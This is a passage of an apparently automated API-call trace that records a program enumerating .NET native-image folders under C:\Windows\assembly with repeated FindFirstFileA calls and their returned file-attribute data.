ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.500] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f0150, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb834880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb834880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.507] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x456a9d00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb85a9e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb85a9e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.514] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44541c20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb85a9e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb85a9e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.520] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28294410, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb85a9e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb85a9e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.528] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27236cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb880b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb880b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.534] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26d01cb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb880b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb880b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.540] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ba0b380, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb8a6ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb8a6ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.547] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1efbd6f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb8a6ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb8a6ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.554] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e259b30, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb8cce00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb8cce00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.561] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x454e0c80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb8cce00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb8cce00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.569] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eafaaf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb8f2f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb8f2f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.575] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4477d0c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb8f2f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb8f2f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.581] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c559c00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb8f2f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb8f2f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.587] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9190c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb9190c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.592] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9190c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb9190c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.598] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d12529e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb93f220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb93f220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.604] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d5e7ea7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb93f220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb93f220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.613] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e07805a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb965380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb965380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.619] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d3868a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb965380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb965380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.624] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d12529e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb965380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb965380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.632] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d27bf00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb98b4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb98b4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.639] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dbdb5b2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb98b4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb98b4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.644] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d4dd505, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9b1640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb9b1640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.653] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9b1640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb9b1640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.660] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9b1640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb9b1640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.668] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9d77a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb9d77a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.681] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9fd900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb9fd900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.688] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9fd900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb9fd900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.696] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba23a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xba23a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.716] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba49bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xba49bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.723] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba6fd20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xba6fd20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.730] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba6fd20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xba6fd20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.741] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba95e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xba95e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.748] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba95e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xba95e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.756] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbabbfe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbabbfe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.763] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xbabbfe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbabbfe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.770] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedd9baf8, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xbae2140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbae2140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.780] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbae2140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbae2140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.787] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb082a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb082a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.794] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbb082a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xbb082a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, 